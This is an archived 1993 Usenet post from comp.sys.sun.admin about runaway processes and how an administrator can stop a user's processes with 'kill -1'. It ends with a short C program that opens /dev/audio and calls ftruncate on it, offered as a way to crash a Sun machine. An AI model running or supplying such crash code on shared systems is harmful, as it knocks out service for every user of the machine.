home *** CD-ROM | disk | FTP | other *** search
/ NetNews Usenet Archive 1993 #3 / NN_1993_3.iso / spool / comp / sys / sun / admin / 10768 < prev    next >
Encoding:
Text File  |  1993-01-27  |  2.1 KB  |  59 lines

  1. Path: sparky!uunet!ukma!bogus.sura.net!ra!wintermute.phys.psu.edu!leps5.phys.psu.edu!kenh
  2. From: kenh@leps5.phys.psu.edu (Ken Hornstein)
  3. Newsgroups: comp.sys.sun.admin
  4. Subject: Re: Bringing a Sun to it's knees
  5. Date: 27 Jan 1993 21:18:03 GMT
  6. Organization: Penn State, Laboratory for Elementary Particle Science
  7. Lines: 47
  8. Message-ID: <1k6u6bINNeu3@wintermute.phys.psu.edu>
  9. References: <1993Jan25.221022.28758@ra.msstate.edu> <1993Jan26.181404.27975@bernina.ethz.ch> <GUENTHER.93Jan26183131@amcl5.stolaf.edu>
  10. Nntp-Posting-Host: leps5.phys.psu.edu
  11.  
  12. In article <GUENTHER.93Jan26183131@amcl5.stolaf.edu> guenther@stolaf.edu (Philip A Guenther) writes:
  13. >   Well, a typical sun runs about 15 processes before any user logs in. thus
  14. >
  15. >       #define MAXUPRC (NPROC - 5)
  16. >
  17. >   will not do you any good: consider a user who -- perhaps inadvertently --
  18. >   creates MAXUPRC zombies: the sysadmin cannot log in anymore and kill
  19. >   the parent process.
  20. >
  21. >Aha!  Wrong!  The sysadmin *can* still login.  As getty exec's login
  22. >exec's the shell, you can login.  The problem comes when you go to do
  23. >a ps.  What the sysadmin could do is 'exec su -f <person at fault>',
  24. >then do 'kill -STOP -1'  (This assumes kill is a shell builtin as in
  25. >csh.  In bourne shell, do 'exec kill -STOP -1').  This will stop all
  26. >of the user's processes (except the shell), and a 'kill -TERM -1' (The
  27. >-TERM lets the -1 be passed to the kill(2) call) will kill them.
  28. >Unless the person had them catch SIGTERM, in which case it is quite
  29. >clear that this wasn't an accident... (okay, maybe not, but still,
  30. >they better have a *gooood* explanation!)
  31.  
  32. Of course, this only works from the console or on a serial line, since
  33. inetd forks a new telnetd or rlogind for each incoming connection.
  34.  
  35. Incidently, if you _really_ want to bring a Sun to it's knees, the
  36. following program works much better:
  37.  
  38. #include <stdio.h>
  39. #include <fcntl.h>
  40. #include <errno.h>
  41.  
  42. main() {
  43.     int fd;
  44.  
  45.     if ((fd = open("/dev/audio",O_RDWR)) == -1) {
  46.         perror("open");
  47.         exit(1);
  48.     }
  49.  
  50.     ftruncate(fd,0);
  51.  
  52.     exit(0);
  53.  
  54. }
  55.  
  56. (Forgive any typos, this is from memory.  But you get the general idea).
  57.  
  58. --Ken
  59.